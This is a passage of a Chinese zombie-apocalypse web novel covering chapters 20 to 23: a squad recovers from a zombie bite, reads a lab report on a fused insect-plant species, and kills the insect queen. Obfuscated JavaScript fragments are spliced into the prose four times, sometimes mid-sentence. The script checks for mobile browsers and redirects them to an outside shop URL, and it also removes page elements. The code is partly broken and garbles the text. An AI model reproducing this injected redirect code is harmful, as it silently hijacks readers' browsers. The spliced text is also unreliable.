闵停被丧尸咬过是事实，虽然不知道为什么现在症状在减轻，但变成丧尸的风险仍然非常大，怎么能让一个外人承担？ 许久没说过话的闵停低声道：“……听他的，去小卧室。”他唇角干裂，很虚弱，说话也只有气声。 这比起之前半昏半醒，失去语言能力的境况已经是一个巨大的改善了，罗康心里沉思，看了一眼乔佑，还是应声道：“好。” 罗康和江湾扶着闵停进去，乔佑则抱着维希跟上，后面的李鹤怀和沈吟夏对视一眼，按乔佑说的把卡座和沙发收起，将吊床降下来。 吊床确实很宽大，乔佑接手房车之后只把吊床简单打理了一下，也铺上了新的床单，降下了之后有些灰尘，但没什么关系。 睡三个人有些挤，条件有限，能这么睡已经很不错了，四个人正好三个休息一个轮班。 乔佑把闵停扶到床上躺着，维希自顾自攀上床，踩着闵停的身体在被子上撒欢了几圈，左右踩踩，找到一个最舒适的位置盘好。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632367|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湾扫了一眼，他的异能是空间，对这方面自然很敏感，这时候就明显感觉到这里的空间大小有点不对劲。 一个小房车，前面的厨厅卡座卫生间已经占了不小的位置了，还能放下这么大个卧室吗？ 乔佑瞥了一眼江湾狐疑的眼神，有点心虚，好在他们俩没有多留，乔佑拧开暖黄的阅读灯，将门关上。 他试验现实空间折叠的能力时，为了避免外面的几人大惊小怪，所以将折叠空间连接了小卧室，试验结束也没有取消，空间当然就很宽阔了。 他回过头，闵停陷在枕头和被子之间，头顶的阅读灯给他的睫毛留下深深的阴影，光与影间五官更显深刻。 他哑声道：“你给我……注射了什么。” 他声音小，乔佑不由凑近了一点，听见闵停的询问也没有反对，只是敷衍道：“好东西，以后你就知道了。” 闵停定定地看了他一眼，“好。” 乔佑打了个哈欠，也蹬了鞋子上床，滑开床头的小窗看了一会儿，黑暗中密密麻麻的绿虫看不清楚，但嘈嘈切切的声音一直存在。 有点助眠。乔佑想。 没有关窗，乔佑翻出一本书看，没一会儿就脑袋一点一点的，随手把书放旁边，闭眼睡觉了。 “晚上我看着他”言犹在耳，当事人已进入梦乡。 闵停瞥了一眼书名，《汽车为什么会跑：汽车构造与原理图解》。 他想到昏沉间隐约听见的声音，低声道：“在学怎么修房车？” 他没有指望乔佑回答，但三分钟之后，乔佑迷迷糊糊道：“有人修了……我在……学怎么开。” 从汽车的构造和原理开始学怎么开车吗？ …… 闵停的好心情没有维持多久，半小时后，略微降低的体温上升到了一个前所未有的高度，全身血液像在沸腾一般，灼热得有些骇人。 猛烈的剧痛像凌迟般碾过他全身，闵停咬着牙忍耐，一旁的乔佑突然惊醒，侧头看了一眼闵停，没反应过来地呆了两秒，然后给闵停喂了点水补充水分。 接着他就不知道该做什么了，有点担心闵停闹出动静吸引了外面他的队友们，但这个意志坚韧的人一直很安静，连窗外虫子的声音都比他大。 他知道使用解毒剂后是很难受的，相当于既要度过人类转变成丧尸的过程，又要捱过从丧尸变回人类的过程，两厢拉锯，神智在其中撕扯，这个过程会持续整整两个小时。 上一个存档里，他的痛觉神经只有20%，使用解毒剂后都感觉受不了，然后在房车里萎靡不振地昏睡了三天。 要是闵停现在在外面，他真怕不明真相的小队成员们以为这是丧尸化的前兆，甚至一枪解决了他，还当是“为了他好”，而乔佑也应付不了那么混乱的场面。 他把闵停关在小卧室，至少能确保在他的控制之下，他们打不开小卧室的门，第二天闵停好好地活着，自然能平安无事地混过去。 没想到这人的意志力这么强大，这么能忍。 乔佑无所适从地看了一会儿，学着以前发病时母亲的样子，手搭在闵停的被子上轻轻拍打。 “再坚持一会儿，两个小时，两个小时后就结束了……” 21. 共生种 乔佑不知道自己什么时候睡过去的，再醒来时，早已过了他平日里起床的点。 室内蔼蔼晨光，并不刺眼，他睁着眼睛呆了一会儿，视线移到自己手里抱着的东西。 一只手臂。 顺着手臂往上，闵停也恰好睁眼，眼神清明，不知道已经醒了多久。 乔佑慢吞吞缩回手，镇定道：“你感觉怎么样？” “丧尸毒已经解了。”闵停回道。 乔佑没听清楚闵停在说什么，掀开被子趿拉着拖鞋出去洗漱。 外面的四人原本正一边谈论着什么，一边啃行军干粮，吊床已经升上去，几人分坐在沙发上，此时都看着乔佑梦游一样走进洗手间。 不一会儿，拾掇整齐的闵停也从里间出来，外套搭在臂弯，脸色比昨晚好了很多，但动作仍有点迟缓，尤其是左边手臂，似乎有点僵硬。 “队长，你的……发烧好了？”江湾惊喜道。 闵停被丧尸咬过是不容置疑的事实，此时好端端地出现在他们面前，没有任何感染的迹象。 丧尸出现一年零三个月，丧尸病毒潜伏期已经缩减到24小时，而且潜伏期里从未出现过宿主状态好转的例子。 思来想去只有两种可能，要么是闵停有什么特殊的地方，丧尸病毒对人类的感染率不再是百分之百；要么是乔佑对他们闵队做了什么，前前后后乔佑有太多动手脚的机会了。 其实他们都倾向于第二种设想。 乔佑这个人疑点重重，撇开这次的恩情不谈，他们也不想错失了这次合作的机会。 “队长，我抽一管血研究一下，你不介意吧？”李鹤怀的态度很是彬彬有礼，但眼神灼灼看着闵停。 一切的医用器材都在江湾空间里，他很主动地取出了碘伏棉签止血带采血针一股脑递给李鹤怀，罗康拉开沙发对他发出邀请。 闵停没办法地轻笑一声，依言坐下，露出上臂。 江湾撑着沙发靠背揶揄道：“队长，今天起这么晚啊？”他可看见了乔佑和闵停也就前后脚的功夫出来。 闵停淡淡道：“你很闲？” 江湾给自己嘴巴拉了个拉链，笑嘻嘻闭麦了。 闵停虽然经历了很煎熬的一晚，但多年养成的生物钟还是让他天没亮就醒来，然后自律地起床。 小心翼翼地从乔佑手里拿回自己的手臂；把床头的窗户关了，隔绝了烦人的背景音；拉上窗帘，免得天亮的时候照得乔佑刺眼；顺便给他盖上睡得乱七八糟的被子。 在他想要推门离开小卧室的时候，发现打不开。 闵停目光空了一下，他理解乔佑也许还不信任他们，但是，竟然有人给房车内的小房间上锁，这个设定本身就很让人费解。 他做不出强行破门的行径，也没有必要，转头看了看乔佑恬淡得毫无防备的睡颜，不知不觉间又生出了一些睡意。 而洗手间里的乔佑正在机械性地刷牙，对主动与别人同床共枕的自己产生了深深的怀疑。 啊啊啊啊啊啊！！！ 昨晚为什么没想过会发生这么尴尬的事情？ 怎么就把闵停的手当成抱枕了？ 他应该庆幸没有做别的更社死的事情吗？ 乔佑清除杂念，冷静地洗漱完，然后目不斜视回小卧室换了衣服，然后来到厨台，从空间里拿出一桶面粉放地上。 这是他少数几次成功过的食物，乔佑对未知的食材向来敬而远之，但老是做米饭也把他打击够了，而空间里那么多面粉看着就心痒痒。 于是他按照自己的理解，在面粉里加入水，揉成团，再搓成细线放进沸腾的水里，这样做成的面也能入口的，至少没有毒，也没有辐射。 历史记载，第三次世界大战的时候，各国投放的核.武器和生化武器把人类的生存环境毁的差不多了，当时的人们几乎吃不到天然食物，全是科技的力量，相比起来，同样是末世，现在的他是多么的幸福。 突然多了这么多人，乔佑一下子拿不准该做多少，沉思一会儿，认为能多不能少，吃不完的可以放回空间。 空间内时间静止，放进去是什么样子拿出来也是什么样子，永远不会变质。 于是乔佑就着这个大桶，开了一桶新的18.9L桶装水哗啦啦倒进去，看水量差不多了就用大铁勺子伸进去搅拌。 “你在做什么？”一道声音突然从身后传来，原来是闵停已不知看了多久。 乔佑抬头看了他一眼，有点苦恼地说：“做面。” 闵停低头注视经过水溶后快要溢出木桶的面粉：“……” 江湾在卡座边窃窃私语：“我好像没跟你们说过，俺小时候住农村，俺奶奶喂猪的时候，也是这个架势。” 闵停问：“不用放这么多吧。”说着挽起了袖子。 江湾实时转播：“看，我们闵队要亲自下厨了。” 沈吟夏也忍俊不禁：“因为乔佑小朋友不像会做饭的样子。” 乔佑没听清那边小声的谈论，一本正经回答道：“八张嘴，我觉得就要这么多。” 上次他们吃饭也请了乔佑一起的，现在总不能只做自己的让他们几个看着他吃，光想想那个场面乔佑都要脚趾扣地了。 “两个人的就够了，他们已经吃过了，再给维希做点别的吧，狗不吃面。”闵停商量道。 乔佑回头看了那几人一眼，果然看到他们正手忙脚乱地收起行军干粮的包装，试图伪装成没吃早饭的样子。 “……”乔佑摆烂的目光盯着脚边的大桶。 闵停：“你先收着，下次可以做饺子。” 乔佑茫然看向他，闵停叹了口气：“我给你做。” 闵停不仅答应了下次帮乔佑做饺子，今天的早餐也被他泰然自若地接过去了，先在灶上点火烧上水，面粉只取了适量的一点，加上水和盐，娴熟地和成均匀圆润的一团。 然后在柜子里找到两个碗，看到一行行码放整齐的调料时挑了挑眉，点出几个瓶子出来配调料汁。 调配好的时候锅里水也烧开了，没有像乔佑那样手动搓丝，几个小时光做手工了，而是用刀薄薄的片下一刀，面片顺着纹路流畅地滑入水中。 乔佑从没见过这种场面，惊觉还可以这样：“这是什么？” 闵停答道：“刀削面，很简单的。” 伴着变异虫嘈杂的声音和围观群众哀怨的目光，两人应付着吃完了简单又美味的一餐，当前面临的大问题重新摆在了乔佑面前。 他滑开车窗看向外面，绿虫铺满了整个广场，高度已经漫到车轮的高度，房车就像汪洋里一片扁舟，随时可能覆灭。 “虫子好像变多了。”乔佑拧眉道。 沈吟夏道：“没错，虫母在快速繁衍，再这样下去，虫子能把房车淹了。” 她似乎明确知道虫母的状态，乔佑心想。 他看向闵停：“你的异能是驯兽，不能控制它们离开吗？”早就想问了，变异虫数量庞大，但都受虫母指挥，只要控制住虫母，再多的虫子也不足为惧。 “你看这里。”闵停示意了一下窗外被层层缠绕的巨蛹。 乔佑想到虫蛹内是活生生一个人，有点不忍心，但还是依言看去，微微睁大了眼：“……藤蔓？” “这是一种与变异植物融合后的新型变异动物，末世前它们就是共生关系，融合后以变异虫为主体，但也具有了植物的性能，”闵停道：“我的异能只对动物起效，作用有限。” 李鹤怀也道：“之前还没有出现过这样的先例，如果这次能顺利回去，提交完这次报告，应该会对共生动植物有更深入的观察研究。” 乔佑侧目，突然好奇起了他们的来历，想起了末世九月去金湖小区救援的两人，其实都穿着军装，刘珀却一眼看出他们不是军方的人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632368|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而面前的几人虽然没穿军装，也没有军人令行禁止的样子，动作都很随性，但应该是类似的人物吧，反正肯定不是他这样的普通老百姓。 “而且，”李鹤怀将一份档案向前推了推：“队长，乔佑，你们看这个。” 罗康也道：“你们没出来前，我们已经看过了，乔佑救助过我们，现在又是一根绳上的蚂蚱，我认为符合保密条例的特殊情况。” 纸质档案袋上溅了几滴陈旧的血迹，拆封后，一份报告露出了真容。 [关于共生种X128与B39的观察报告] [观察员：罗生辉薛怡] [2107年4月21日8：00a.m.] [我们在周围检测出自然物种共计千余，其中未在全世界出现的未知物种八类，予以重点研究。由于X128与B39呈共生关系，遂一同观察。在接下来的研究中，我们的目标是找到X128与B39的始祖与进化轨迹。] …… [2107年4月30日11：30a.m.] [普通的一天。X128的主蔓与支蔓，分别对应着B39的虫母与次虫，这也许是它们能和谐共处不打架的原因？B39尾部的发光器提供了光合作用的光源，X128提供了氧气，使得它们能在地底活动。绿色的虫体附着在藤蔓上，形似叶片，也是狩猎的绝佳伪装。另外，进化轨迹仍没有找到。] …… [2107年5月6日3：00p.m.] [它们的进化根本无迹可寻，达尔文进化论的又一个漏洞。这样的现象让我们联想到寒武纪时期的生物大爆发，仅仅受到----的辐射影响，就能创造出一种生命吗？期望可以发现生命的奥秘。] [图/基因序列片段图解] …… [2107年5月17日6：20p.m.] [新的发现：我们知道由于支蔓和次虫一一对应共生，支蔓自行脱离主蔓后，被次虫拖载，于是X128支蔓被动获得了行动的能力，所以我们曾单方面认为主动权在次虫B39。在今天的观察中，我们将这对组合放在单一的B39族群中，也就是一条支蔓落在一群虫子里。该次虫主动离开虫群，顺利找到了X128的主蔓，由此，我们猜测主动权在本应懒惰的植物上，而此时的虫子似乎成为了交通工具。] …… [2107年6月13日11：28p.m.] [今晚紧急送来了一个奇怪的人形研究体，攻击性很高，并且……我难以描述他是死的还是活的。不过这与我无关，只是X128与B39比平时更暴躁，我怀疑是新研究体的影响。] [图/新研究体] …… [2107年6月15日9：00a.m.] [今天终于申请到了----的使用权，我和搭档一起推着恒温箱向下走，那真是一个瑰丽的神迹，一个鬼斧神工的艺术品。但怪物的吼声打断了这唯美的一幕，几个全副武装的武警押着笼子里的新研究体接近了----，我看到他越靠近，越疯狂，最终掰开了合金钢材，朝着一个武警扑咬。当然，我此刻能端坐在实验台前写报告，就说明事情已经解决了，我本不该描述这么多无关的东西，但我实在不安。实验室内的X128与B39正在进行一种我看不懂的行为，有点像……交.配，动物和植物，可能吗？] [图/巨型晶石] [图/它们缠绕在一起] …… [2107年6月16日7：20a.m.] [它们结成了一个蛹，体型比它们的主蔓和虫母加起来还要庞大，原本它们只是最不起眼的一对，这都是因为----的影响。好在那里已经再次封存了，只是潘多拉的魔盒已经泄出了一条缝，未来会怎么样呢？] [图/绿色虫蛹] …… 22. 针对植物的计策 新研究体的图片赫然是一只模样可怖的丧尸，看日期，应该是丧尸刚出现在人前就被送了一只进来研究了。 单纯的研究员们两耳不闻窗外事，还不知道外面已经发展成了什么人间地狱。 乔佑看向下一张图，巨型晶石立在一个岩洞中，岩洞外建着密不透风的防御墙。晶石表面流光溢彩，散发着莹莹微光，看不出具体是什么颜色，因为每一个切面都不一样，都在变幻。 他拿出一块晶核出来比对了一下，除了大小和颜色不同，真的很相似。 乔佑抬头道：“这一对虫子和藤蔓是在接触过晶石后开始融合的，姑且算是一种进化，这块晶石对它们来说应该很重要，你们就是抢了晶石才被追的吧？” 闵停却摇了摇头：“我们去的时候，晶石大小已经缩减了十倍不止，但能量仍然非常庞大，变异虫群一直试图进入那间密室。我们有所有房间的通行证，就进去察看了一下，可惜那块晶石似乎长在地里了，无法带走。” 看到那块晶石后，闵停才意识到为什么上层要把研究所建在后山地底，这样的巨大的财富，又拿不走，只有把它层层保护起来才能安心吧。 末世以前，能量的测量必须用到仪器，末世后的异能者却对晶石的能量很敏感。刚进入研究所，他们就察觉到了不正常的能量涌动，因此在拿到研究资料后，没忍住去查看了那边的情况，才与变异虫正面对上。 乔佑忍不住有些愠怒：“何必这么冒险，如果不是你们贪心，也不会……” 还好他们遇到了具有绝对防御能力的房车，还好乔佑恰好能买到解丧尸毒的药剂，否则会发生什么？乔佑简直不敢想象。 闵停不置可否，但江湾看不得自家队长被这样误会，反驳道：“怎么能说是贪心呢？闵队也是为大局着想啊，变异虫离晶石这么近，谁知道过段时间又变异成什么怪物？连闵队的驯兽异能都对它们没辙，到时候谁能解决？你吗？” “湾湾。”罗康警告地看了他一眼。 乔佑没有把江湾的话放在心上，自己捋了捋思路，突然问：“晶石被你们带走了，是吗？” 但是闵停的态度很坦然：“没有。” 他们对视几秒，闵停率先移开目光：“这次真的很感谢你，我保证，度过这次难关后，告诉你关于我们的来历和目的，到时候你也知道我们能付出给你什么，不用照顾我们提很简单的要求。” 乔佑哼了一声，“再说吧。” 闵停看他这没消气的傲娇样子，心中有些好笑，又多了一分沉思。 应该是从小父母宠爱，没受过什么挫折的小孩吧，嘴硬心软，为什么独自一人住在狭窄的房车里？虽然这个房车很特殊，但生活条件实在算不上好，他还不会做饭，缺乏一些生活常识。 像是森林里避不见人的巫师，守着自己的糖果屋，做着自娱自乐的实验。又像独居在丛林里的精灵，神秘、矫健、神出鬼没，以旁观者的视角看着苦难中的芸芸众生。 乔佑抓头道：“驯兽异能对变异虫没用，还有别的把它们引开的办法吗？” 罗康有点汗颜：“房车能开动的话就好了，但是很多检查和维修需要在外面和底下做。” 沈吟夏文文静静地补充道：“变异虫又结蛹了，上次结蛹是从共生到融合，这次我倾向于也是一种进化，蛹里包了个人……先前它们追我们是因为我们谋夺晶石，如果进化成功，说不定人类会登上它们的食谱。” 乔佑看着外面铺天盖地的虫子，头皮发麻，喃喃道：“那可太糟糕了。” 闵停安抚道：“放心，不管它们结蛹要做什么，都不会成功的。” “为什么？”乔佑一愣。 “因为……”沈吟夏笑了一下，乔佑看向她，她脸上的表情却渐渐消失，直至眉目冷淡，漠然道：“因为蛹里只是一具空壳。” “你……”乔佑盯着她，不可思议道：“你是……” 这副冰山美人的样子与沈吟夏的温婉可谓相去甚远，变化明显到像是变了个人，乔佑想到他从未发现她们的异能是什么，仅靠身手和美貌能在这样的小队里占据一席之地吗？ “沈吟夏”点点头，声音清冷：“我的异能是分.身，沈吟夏和沈吟秋都是我。” 所以，所谓的相貌完全一致的姐妹花，实际是同一个人？ “那昨晚你们那副沉重的样子……”乔佑无言地看着面前几个人憋笑的样子，心里冒出了很多问号。 “是装的。”沈吟秋颔首，非常平静地说道。 突然她又嫣然一笑，“闵队说了我们该对你坦诚一些，抱歉啦，之前一直在骗你，小朋友别悄悄难过了，没有人牺牲哦。” 半晌无语，乔佑哭笑不得：“那你到底是谁？” 李鹤怀笑道：“吟夏和吟秋都是她的名字，我们一般随便叫，两个人都在的时候才根据性格区分一下不要穿帮。” “看来你们靠这一手骗了很多人了。”乔佑叹气，世界上异能千千万万无奇不有，这个异能很适合伪装，还能在危机时刻断尾求生。 “能骗过变异虫就行。”沈吟秋又恢复了冷淡的样子，客观道：“虫母被假虫蛹绊住，繁衍能力略有些降低，但不知道会被牵制多久，我们得尽快想办法把虫母处理掉。” 乔佑看着外面数量夸张的虫海：“……” “如果虫母一直是这么夸张的繁殖速度，不管是什么地方都装不下吧？” “我们在虫巢面对虫群的时候，虫母一直没出来过，直到昨晚，我怀疑之前它一直在休眠，现在是碰到快速繁殖期了。” 闵停道：“试试火烧。” 乔佑替他们打开房车门，江湾拎着一桶柴油向下倒，虫群蠕动间很快把柴油渗到虫群下方。 呼！ 大火凭空而起，在房车内都能感受到灼灼温度，绿虫在高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13632369|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温下卷曲，焦黄，最后化成黑色的灰烬，风一扬就散了漫天烟尘。 乔佑正松了口气，就见到虫群反应过来，无数虫子前仆后继地扑向火焰，密密实实几乎没有缝隙，起到了像泥土一样隔绝空气的效果。 火灭了，江湾哑然：“还可以这样？” 新的柴油很快就倾斜向下，这次被烧死的虫子更少，江湾不信邪：“等你们全部都在油里滚过了，总不能再这么灭火吧！” “你们柴油太多了用不完？用不完给我吧，我很缺。”乔佑连忙阻止道，虫母在虫蛹内，虫蛹距离他们远着呢，近距离的虫群是消耗了很多，对于整个汪洋大海来说却不算什么，但柴油资源再多却是有数的，经不起这么消耗。 看来火烧也不可行，几人待在房车里有点沉默，小云飞到闵停肩膀上向外面探头探脑，小维希扒着门沿伸爪子捞了一下，几片薄薄的虫子被捞了上来。 乔佑盯着余焰下的虫群，脑中有什么东西一闪而过，突然道：“这是植物还是动物？” 动物被火烧后是这样子吗？脂肪和蛋白质燃烧后应该有种烤肉味吧？ 这方面闵停最有发言权：“在我的感知中，它们是植物。” 李鹤怀奇怪道：“动物和植物有什么影响吗？” “影响不大，”乔佑默默道：“咳，忘了给你们说，房车对面的商场是个变异植物大杂烩。” 末世九月“全球进化”以来，人们渐渐发现变异植物比变异动物难搞得多，据说曾经的灵异志怪故事里也有这样的说法，原因是植物比动物更难修炼，于是修炼有成的植物都是狠角色。 罗康举起一个望远镜向远处看。 大商场地上五楼，地下一楼，因为占地面积太大，楼层不太高，地基也比较坚固，因此保存得比周围的高楼大厦都完整。 望远镜里一片风平浪静，特意关注才能发现几根坚韧的细草伸出玻璃幕墙，一片爬山虎垂在商场外壁，如果乔佑不提，他们会以为这是末世前就有的设计。 乔佑道：“末世前商场里有个生态园，很多植物都变异了，现在是它们抢占地盘的时期，决出最后的胜利者后，房车周围也不会安全，我本来打算房车修好后就走的。” 闵停了然道：“你想把虫蛹引进商场，让商场里的植物对付虫母？” 乔佑点点头：“我觉得，植物的很多狩猎能力都是针对动物和人类的，同为植物的话，应该用不了。” 罗康也道：“就算商场里的变异植物杀不掉虫群，能拖一段时间也好，我把房车修好后离开这里就行。” “现在的问题就是……怎么把它们引进商场。”乔佑想到商场里的各种物资，不可避免地有点心动。 现在他不止馋物资，还很想要空间升级后的大空间，那都是未来的房产面积，直接关系到他的生活质量啊。 但乔佑也知道拿到物资很难，因此也就是想想。 23. 去大商场 广场上，巨大的白隼盘旋在上空，李鹤怀坐在它宽大的脊背上。 白隼锋利的爪尖钩着一条绳子，绳子往下，绑着一个神情冷静的女人。 下方的虫群蠢蠢欲动，以白隼为中心汇成一座小山，但不论是虫子还是植物，空中都是弱项，它们只能徒劳堆积着。 直到某一刻，小云飞至虫蛹上方，因为多数虫子都被吸引开了，这里防卫稍显薄弱。 结实的绳索缠着虫蛹绕了一圈又一圈，乔佑在他们行动之前紧急培训过，小队里没有笨人，很快就结结实实把虫蛹绑了起来。 但代价是，无数虫子顺着绳索向上，密密匝匝地爬向距离它们最近的食物，女人身上很快就出现细密的小伤口。 房车内，乔佑搓了搓手臂上的鸡皮疙瘩，看向一旁的沈吟秋，“真的没问题吗？那个分.身完全是个正常的个体啊。” “没事的，”“沈吟秋”笑吟吟道：“只是一具傀儡而已，没有痛觉，如果干什么事情都要用人命来填，再多的人也不够，现在我只需要消耗一些异能而已。” 好吧，现在这个或许是沈吟夏。 乔佑继续观看进展，只见李鹤怀伸出一只手，磅礴的水流轻盈越过沈吟夏的分.身，让那些小伤口悄然愈合，在接触到虫子时又变得凶猛，将它们狠狠冲刷下去。 乔佑想道：“好精细的控制。” 李鹤怀的精神力一定很高。 水系异能一般没有什么攻击力，很多时候水系异能者只作为水资源的供应者，毕竟末世后水资源也非常珍贵。 李鹤怀的异能比一般的水多了治愈的能力，这也许是因为他的本职就是医生，能治愈也就算了，攻击能力竟然也不弱。 虫蛹很快被绑好，白隼上升，整个虫蛹被提起来，虫群仍然前赴后继，但只要没越过沈吟夏这道防线爬到小云身上，白隼的飞行就不会受到影响，也就能顺利将虫蛹丢进商场。 房车周围的虫子随着虫蛹的远离而跟着远离，很快就只剩下稀稀拉拉薄薄一层。 “不好，”沈吟夏突然脸色一变：“虫母发现虫蛹里的壳子不对劲了。” “？”乔佑刚放下的心又提了起来。 果然，那只体积有人脑大、长得也很像人脑的虫母从虫蛹里爬了出来，受虫母控制的虫群放弃上方的绳子，再次朝房车涌来。 虫母跳下虫蛹，一个高台把它托起来，它面朝房车，眼珠子里充满了被诱骗的愤怒。 它知道食物就在这个大铁箱子里，也知道这些食物用一个空的诱饵戏弄了它，但是！为什么它对这个铁箱子根本升不起攻击的想法？为什么一想到要对付它就感觉一定会失败？ 它张开嘴飞快地吐丝，绿色藤蔓再次出现，这次的目标是房车。 就算吃不到，也要把他们困死！ 以虫母先前缠虫蛹的速度，体积这么大的房车也花不了几分钟，房车内的几人眼看着一条条结实的藤蔓直接横在大门前，广场上停留的两人一鸟也惊于几息之间的剧变。前面的一切功亏一篑，如今的局面更加糟糕，似乎已经走到了死路。 闵停却淡定地抬起一把手.枪，从藤蔓的缝隙间向外射击一发，经过消音的闷闷一声，下一瞬，最后的缝隙也消失，车内光线一暗。 过了一会儿，枯萎的藤蔓扑簌簌松开，露出房车外一团乱麻的虫群，以及虫母的尸体。 子弹从虫母的口中穿入，从它的后脑穿出，虫母倒在虫群组成的高台上，伤口同时露出了属于植物的纤维和属于动物的血肉。 “原来……这么简单？”乔佑愕然喃喃道。 他们之前想了那么多办法，考虑了那么多种情况，结果最后一枪就解决了？ “不愧是狙.击手的职业素养。”江湾崇拜道。昨晚虫母也暴露过一次，那时队长昏迷，怎么就没人想到把虫母一枪崩了？ 闵停道：“热武器是人类几千年文明发展出的杀敌工具，但虫母进化过的智慧里没有这样的认知，出其不意罢了。我们从虫巢出来时它隐藏在虫群里，之前又藏进虫蛹，要是它一直藏好了，也没有这么简单。” 乔佑看着虫子群龙无首，变成一盘散沙，已经有虫子向广场外游过去，还是有点不可思议：“那你怎么知道一枪就能解决呢？” 如果解决不了，房车被藤蔓封了，又有一番周折。 “我也不能确信，不伤到植物的根系，它们的生命力一般是很顽强的，我也只是赌一下，”闵停看他像是功劳被别人抢去的小朋友，好脾气地哄道：“我只是为了破坏它的吐丝器官，别把房车封死了，它就这么死了都是意外。” 乔佑感到稍许安慰，如果自己绞尽脑汁想的计策被人家一枪比下去了，他再心态好也会有点挫败的。 变异虫被莫名其妙地解决掉了，接下来就是打扫战场，没有智慧和整体意识的虫子只剩下本能，一下子削弱数倍，再用火烧应该也不会主动灭火。 江湾怀疑地盯了自家“脾气很好”的队长一眼，试探道：“那我接着倒油？” “省着用吧。”闵停看了一眼乔佑：“把虫群引到商场，我们也进去逛逛。” 远处的白隼像是收到了指令，拎着诱饵分.身在虫群上方晃了两圈，吸引到足够多的虫子，就向商场飞去。 乔佑：“要进去吗？把虫子引开就行了吧。” 闵停很自然地道：“你不是想要商场里的物资？” 罗康也满不在乎地说：“收回来的你占大头。” 乔佑：有吗？我没说过啊？你们这些人都会读心术吗？？ 江湾拍拍他的肩膀，眨眼睛：“放心吧，我们小队龙潭虎穴都闯过很多次了，没有冒险也没有今天，几个变异植物而已，小case。” “那……好吧，我也进去看看吧。”乔佑心动地妥协了。 江湾说的没错，不冒险就什么都没有，他的异能升级非常依赖打怪和物资收集，况且周围还有这么厉害的队友。 乔佑一直以来都避免与商场内的变异植物们对上，没想过有一天会主动前往，果然是大佬带来的安全感，让他飘了。 远处，白隼将李鹤怀和分.身放在大商场门前，回头来接他们。 白隼变异前无法搭载人，变异之后体型变大，力量也增强，之前训练过，最多能短暂运载三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13632370|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成年男子的重量，但保险起见，平时用到这个能力时只运送一到两个人。 闵停道：“罗康留下来修房车吧。你介意吗？车上有没有需要特别避开的？”后一句是问乔佑。 乔佑想了想：“没有。”小卧室外人打不开，副驾驶屏幕的游戏操作面板也只有他本人才能使用，还有…… 乔佑突然想起了什么，回车头去把自动售卖机收进了空间，这种超出现实的东西要是被意外发现了，他不知道怎么解释。 闵停接着道：“沈吟夏也留在这里，协助罗康，注意周边动静。” 沈吟夏：“好。” 江湾举手道：“工具都在我这儿，我得看罗哥待会儿要啥，你们先去吧，小云记得来接我。” 江湾的腿经过李鹤怀的治疗和一晚的休整，现在已经好得差不多了，商场的物资需要他收取，他是一定要去的。 小云已经飞回房车里，乔佑突然反应过来去商场的途径不是很正常，“啊，我也要飞过去吗？” 闵停示意地上一层又一层的虫子，眼神很明显：不然呢？ 白隼好像也感觉到了乔佑的嫌弃，眼睛里流露出委屈的目光，把头扭向一边。 乔佑有点无措，摸了摸它的脑袋：“我没有嫌弃你的意思啊，你载人很稳的，是我没在天上飞过，可能不习惯，你是叫小云吗？待会儿要麻烦你了。” 闵停道：“第一次都这样，你上它的背，我扶着你。” 乔佑看了他一眼，其实有点担心闵停的丧尸病毒，昨晚那么难受，今天像没事人一样，不过看他一点都不勉强的样子，心里感叹了一下人与人之间的差距，也无所谓了。 他摸了摸小云流畅的羽毛线条，攀着闵停的手臂爬上去，突然感觉腿上有往下的力。 低头一看，维希正咬着他的裤腿，圆滚滚的眼睛控诉地看着他。 “汪！嗷嗷汪！”维希凑近白隼，又蹦又跳，看起来也想上去。 “你凑这个热闹干嘛？”乔佑低着头指指点点道：“你要是也变异了，像小云这样，我一定带你，你看你现在这么小一只，只能去给变异植物做肥料。” “汪汪！嗷嗷嗷！” 沈吟夏好笑地把维希抱走，闵停则看着小边牧，若有所思。 待乔佑上去后，闵停也翻身坐上了白隼的脊背。翅膀扇动，翼展伸长，腾空而起，猎猎的风迎面扑来，乔佑抓着身边闵停的衣服，闭了一下眼睛，又睁开。 